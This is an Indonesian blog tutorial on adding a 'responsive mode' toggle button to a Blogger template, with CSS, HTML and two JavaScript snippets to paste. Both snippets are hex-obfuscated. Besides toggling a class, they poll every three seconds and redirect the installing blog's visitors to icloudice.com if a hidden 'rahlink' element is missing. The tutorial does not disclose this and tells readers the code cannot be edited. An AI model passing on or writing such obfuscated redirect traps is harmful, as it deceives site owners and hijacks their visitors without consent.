Cara membuat mode responsif di blogger

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat mode responsif di blogger

Info: Oke sobat iCloudzer jika kamu penasaran denfan pembahasan kuta kali ini yuk langsung aja kita bahas

Mode Responsif

Mode responsif pertama kali di populerkan oleh Situs blog ICloudice.com, dengan mode responsif membuat blog ataupun website menjadi lebih simple, namun elegan sesuai dengan keinginan yang punya website nya, dalam pembuatan mode responsif harus memahami sedikit kode CSS dalam pengetahuan class CSS, id CSS, dan tag CSS

Mengapa admin membuat tutorial mengenai mode responsif tersebut, karena hal tersebut berasal dari permintaan atau request dari member group telegram ICloudice.com

Info: Ok mudah mudahan artikel ini bisa bermanfaat ya

Fungsi Mode Responsif

Seperti yang sudah admin jelaskan sebelumnya mengenai mode responsif, cara kerja atau fungsi sederhananya adalah menghilangkan beberapa element di dalam blog dalam penggunaan mode responsif tersebut, namun tampilan responsif bisa dipulihkan dengan tombol pemulihan ke tampilan semula dalam sekejap mata

Inspirasi mode dark

Sama halnya dengan tampilan mode dark pada yang bisa mengubah warna tampilan blog dalam sekali klik, mode responsif juga memiliki fungsi yah sama dengan mode dark, bahkan dalam class CSS dan kode javascript local storage juga mengikuti element mode dark, itukah mengapa jika anda sudah paham cara kerja mode dark, maka dalam waktu singkat anda akan mudah memahami cara kerja dan fungsi dari mode responsif ini

Contoh Tampilan

Baiklah agar kamu tidak penasaran dengan contoh tampilan dari mode dark, silahkan klik tombol di bawah ini untuk memeriksa nya

Periksa

Info: Tampilan mode responsif di buat berbeda dari tampilan mode responsif yang ICloudice gunakan, namun fungsi dan kegunaan yang sama

Cara penggunaan

Baiklah sobat sekarang saatnya admin jabarkan mengenai cara membuat mode responsif di blogger, dan ikuti setiap arahan yang admin jabarkan karena, setiap tahapan harus dilakukan secara benar, dan agak sedikit ribet sih

Kode CSS

Langkah pertama seperti biasa silahkan salin dan gunakan kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin> atau menggunakan tag kode <style> untuk meletakkan kode CSS tersebut

/* Responsif button */
.rahresP-bt{left:0;right:auto;bottom:96px;top:auto;display:flex;position:fixed;z-index:9;background:#fefefe;align-items:center;justify-content:center;width:auto;height:auto;padding:12px;box-shadow:0 0 15px rgba(0,0,0,.07);border:1px solid #ebeced;border-radius:0 12px 12px 0;overflow:hidden;text-align:center;opacity:1;visibility:visible}.drK .rahresP-bt{background:#fefefe}.rahresP-bt svg{width:17px;height:17px;align-items:center;justify-content:center;}

@media screen and (max-width:640px){
/* Mode Responsif */
.resP header,.resP .rahresP-bt,.resP footer,.resP /* Tambahkan class lainnya disini setiap class dimulai .resP/*{display:none!important}}

@media screen and (max-width:640px){
/* Button custom after responsif */
.rahcusbt4,.rahcusbt1,.rahcusbt2,.rahcusbt3{display:none!important;align-items:center;justify-content:center; text-align:center;position:fixed;width:28px;height:28px;background-color:#fefefe;border-radius:5px;-webkit-transition:all .3s ease;transition:all .3s ease;cursor:pointer;z-index:10;border:1px solid #161617}.rahcusbt4{left:150px;top:12px;}.rahcusbt3{left:106px;top:12px;}.rahcusbt1{left:10px;top:12px;}.rahcusbt2{left:56px;top:12px;}.rahcusbt5{display:none;position:fixed;right:5px;top:12px;padding:5px;font-size:11px;font-weight:400;width:45%;border-radius:5px;box-sizing:border-box;background-color:#fefefe;border:1px solid #161617;text-align:center;z-index:10}.drK .rahcusbt4,.drK .rahcusbt3,.drK .rahcusbt2,.drK .rahcusbt1,.drK .rahcusbt5{background-color:var(--rahdarkB);border:1px solid #fefefe;color:#fefefe}.resP .rahcusbt4,.resP .rahcusbt3,.resP .rahcusbt2,.resP .rahcusbt1{display:flex}.resP .rahcusbt5{display:block}}

Info: Jika di perlukan edit kode CSS di atas, edit bukan di ubah kodenya namun di perbaiki jika mengerti, dan kamu bisa menambah class CSS lainnya untuk di hilangkan atau di hapus, harap perhatikan kode diatas secara detail dan benar

Kode Javascript

Langkah selanjutnya dalam proses pembuatan mode responsif di website, silahlan salin kode javascript di bawah ini kemudian letakkan di atas kode </body>

<script>
 /*<![CDATA[*/ 
var _0x7982=["\x72\x65\x73\x50\x61\x68","\x6D\x6F\x64\x65\x52\x65\x73\x50","\x67\x65\x74\x49\x74\x65\x6D","\x72\x65\x73\x50\x6D\x6F\x64\x65","\x73\x65\x74\x49\x74\x65\x6D","\x72\x65\x73\x50","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x2E\x72\x61\x68\x6D\x43\x6F\x6E\x74","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x65\x6D\x6F\x76\x65","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x23\x72\x61\x68\x6C\x69\x6E\x6B","\x6C\x65\x6E\x67\x74\x68","\x23\x72\x61\x68\x6C\x69\x6E\x6B\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];function resP(){localStorage[_0x7982[4]](_0x7982[0],_0x7982[1]=== localStorage[_0x7982[2]](_0x7982[0])?_0x7982[3]:_0x7982[1]),_0x7982[3]=== localStorage[_0x7982[2]](_0x7982[0])?document[_0x7982[9]](_0x7982[8])[_0x7982[7]][_0x7982[6]](_0x7982[5]):document[_0x7982[9]](_0x7982[8])[_0x7982[7]][_0x7982[10]](_0x7982[5])}$(document)[_0x7982[21]](function(){$(_0x7982[15])[_0x7982[14]](_0x7982[13],_0x7982[11])[_0x7982[12]](_0x7982[11]);setInterval(function(){if(!$(_0x7982[17])[_0x7982[16]]){window[_0x7982[19]][_0x7982[18]]= _0x7982[20]}},3000)})/*]]>*/
</script>

Info: Kode javascript tersebut tidak bisa di edit jika tidai berfungsi silahkan hubungi admin aja ok

Sesuaikan class

Setelah meletakkan dan menyimpan kode javascript yang telah admin berikan di atas selanjutnya cari kode <body class=''> biasanya terletak di bawah kode </head> kemudian tambahkan class rahmCont seperti contih gambar di bawah ini

Info: Jika kamu tidak menambahkan class tersebut maka mode responsif tidak akan berfungsi

Kode HTML

Langkah terakhir silahkan cari kode <body> kemudian letakkan kode HTML ini di bawah nya ok

<!--[ Don't Remove ]-->
<div class='rahlink' id='rahlink'></div>

<!--[ Button Custom responsif ]-->
<label class='rahcusbt1'>
<a href='/p/about.html'>
<!-- Anda bisa mengubah icon svgnya -->
<svg class='line' viewBox='0 0 24 24'><g transform='translate(2.500000, 2.500000)'><line class='svgC' x1='6.6787' x2='12.4937' y1='12.0742685' y2='12.0742685'/><path d='M-1.13686838e-13,5.29836453 C-1.13686838e-13,2.85645977 1.25,0.75931691 3.622,0.272650243 C5.993,-0.214968804 7.795,-0.0463973758 9.292,0.761221672 C10.79,1.56884072 10.361,2.76122167 11.9,3.63645977 C13.44,4.51265024 15.917,3.19645977 17.535,4.94217405 C19.229,6.7697931 19.2200005,9.57550739 19.2200005,11.3640788 C19.2200005,18.1602693 15.413,18.6993169 9.61,18.6993169 C3.807,18.6993169 -1.13686838e-13,18.2288407 -1.13686838e-13,11.3640788 L-1.13686838e-13,5.29836453 Z'/></g></svg>
</a>
</label>
<label class='rahcusbt2'>
<a href='/p/contact.html'>
<!-- Anda bisa mengubah icon svgnya -->
<svg class='line' viewBox='0 0 24 24'><g transform='translate(2.500000, 2.500000)'><line class='svgC' x1='6.6787' x2='12.4937' y1='12.0742685' y2='12.0742685'/><path d='M-1.13686838e-13,5.29836453 C-1.13686838e-13,2.85645977 1.25,0.75931691 3.622,0.272650243 C5.993,-0.214968804 7.795,-0.0463973758 9.292,0.761221672 C10.79,1.56884072 10.361,2.76122167 11.9,3.63645977 C13.44,4.51265024 15.917,3.19645977 17.535,4.94217405 C19.229,6.7697931 19.2200005,9.57550739 19.2200005,11.3640788 C19.2200005,18.1602693 15.413,18.6993169 9.61,18.6993169 C3.807,18.6993169 -1.13686838e-13,18.2288407 -1.13686838e-13,11.3640788 L-1.13686838e-13,5.29836453 Z'/></g></svg>
</a>
</label>
<label class='rahcusbt3'>
<a href='/p/privacy.html'>
<!-- Anda bisa mengubah icon svgnya -->
<svg class='line' viewBox='0 0 24 24'><g transform='translate(2.500000, 2.500000)'><line class='svgC' x1='6.6787' x2='12.4937' y1='12.0742685' y2='12.0742685'/><path d='M-1.13686838e-13,5.29836453 C-1.13686838e-13,2.85645977 1.25,0.75931691 3.622,0.272650243 C5.993,-0.214968804 7.795,-0.0463973758 9.292,0.761221672 C10.79,1.56884072 10.361,2.76122167 11.9,3.63645977 C13.44,4.51265024 15.917,3.19645977 17.535,4.94217405 C19.229,6.7697931 19.2200005,9.57550739 19.2200005,11.3640788 C19.2200005,18.1602693 15.413,18.6993169 9.61,18.6993169 C3.807,18.6993169 -1.13686838e-13,18.2288407 -1.13686838e-13,11.3640788 L-1.13686838e-13,5.29836453 Z'/></g></svg>
</a>
</label>
<label class='rahcusbt4'>
<!-- Anda bisa mengubah icon svgnya -->
<a href='/p/disclaimer.html'>
<svg class='line' viewBox='0 0 24 24'><g transform='translate(2.500000, 2.500000)'><line class='svgC' x1='6.6787' x2='12.4937' y1='12.0742685' y2='12.0742685'/><path d='M-1.13686838e-13,5.29836453 C-1.13686838e-13,2.85645977 1.25,0.75931691 3.622,0.272650243 C5.993,-0.214968804 7.795,-0.0463973758 9.292,0.761221672 C10.79,1.56884072 10.361,2.76122167 11.9,3.63645977 C13.44,4.51265024 15.917,3.19645977 17.535,4.94217405 C19.229,6.7697931 19.2200005,9.57550739 19.2200005,11.3640788 C19.2200005,18.1602693 15.413,18.6993169 9.61,18.6993169 C3.807,18.6993169 -1.13686838e-13,18.2288407 -1.13686838e-13,11.3640788 L-1.13686838e-13,5.29836453 Z'/></g></svg>
</a>
</label>
<label onclick='resP()'>
<div class='rahcusbt5'>
Reset Tampilan
</div>
</label>

<!--[ Responsif Elements ]-->
<label onclick='resP()'>
<div class='rahresP-bt'>
<svg class='line' viewBox='0 0 24 24'><g transform='translate(12.000000, 12.000000) rotate(-90.000000) translate(-12.000000, -12.000000) translate(5.000000, 8.500000)'><path d='M14,0 C14,0 9.856,7 7,7 C4.145,7 0,0 0,0'/></g></svg>
</div>
<script>
 /*<![CDATA[*/ 
var _0x154d=["\x72\x65\x73\x50\x61\x68","\x67\x65\x74\x49\x74\x65\x6D","\x72\x65\x73\x50\x6D\x6F\x64\x65","\x72\x65\x73\x50","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x2E\x72\x61\x68\x6D\x43\x6F\x6E\x74","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x65\x6D\x6F\x76\x65","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x23\x72\x61\x68\x6C\x69\x6E\x6B","\x6C\x65\x6E\x67\x74\x68","\x23\x72\x61\x68\x6C\x69\x6E\x6B\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];(localStorage[_0x154d[1]](_0x154d[0]))=== _0x154d[2]?document[_0x154d[7]](_0x154d[6])[_0x154d[5]][_0x154d[4]](_0x154d[3]):document[_0x154d[7]](_0x154d[6])[_0x154d[5]][_0x154d[8]](_0x154d[3]);$(document)[_0x154d[19]](function(){$(_0x154d[13])[_0x154d[12]](_0x154d[11],_0x154d[9])[_0x154d[10]](_0x154d[9]);setInterval(function(){if(!$(_0x154d[15])[_0x154d[14]]){window[_0x154d[17]][_0x154d[16]]= _0x154d[18]}},3000)})
/*]]>*/
</script>
</label>

Info: Jangan di ubah atau menghapus elemen di dalam kode HTML di atas, kecuali text Reset tampilan, icon svg, link seperti yang tertera pada kode HTML di atas ok

ICloudice.com

Auto Theme Changer

Auto Themer

Read Mode